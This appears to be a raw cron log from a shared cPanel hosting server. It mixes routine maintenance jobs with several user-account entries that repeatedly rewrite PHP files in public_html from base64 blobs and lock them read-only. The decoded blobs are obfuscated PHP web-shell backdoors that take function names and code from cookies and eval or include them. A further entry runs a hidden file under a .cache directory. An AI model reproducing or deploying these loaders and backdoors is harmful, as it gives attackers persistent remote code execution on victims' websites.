Jun  7 04:39:02 medusa CROND[6819]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:39:02 medusa CROND[6822]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:39:02 medusa CROND[6823]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 04:39:02 medusa CROND[6831]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:39:02 medusa CROND[6833]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:39:02 medusa CROND[6834]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 04:39:02 medusa CROND[6835]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:39:02 medusa CROND[6838]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:39:02 medusa CROND[6841]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:40:01 medusa CROND[8405]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:40:01 medusa CROND[8407]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 04:40:01 medusa CROND[8451]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 04:40:01 medusa CROND[8453]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 04:40:01 medusa CROND[8460]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 04:40:01 medusa CROND[8461]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 04:40:01 medusa CROND[8462]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 04:40:01 medusa CROND[8463]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 04:40:01 medusa CROND[8464]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 04:40:01 medusa CROND[8465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:40:01 medusa CROND[8468]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 04:40:01 medusa CROND[8471]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 04:40:01 medusa CROND[8472]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 04:40:01 medusa CROND[8473]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 04:40:01 medusa CROND[8477]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:40:01 medusa CROND[8480]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:40:01 medusa CROND[8485]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 04:40:01 medusa CROND[8484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 04:40:01 medusa CROND[8488]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:40:01 medusa CROND[8491]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:40:01 medusa CROND[8494]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:40:01 medusa CROND[8496]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 04:40:01 medusa CROND[8498]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:40:01 medusa CROND[8499]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:40:01 medusa CROND[8501]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:40:01 medusa CROND[8503]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 04:40:01 medusa CROND[8504]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:40:01 medusa CROND[8513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:41:02 medusa CROND[9932]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 04:41:02 medusa CROND[9940]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:41:02 medusa CROND[9941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:41:02 medusa CROND[9942]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:41:02 medusa CROND[9944]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
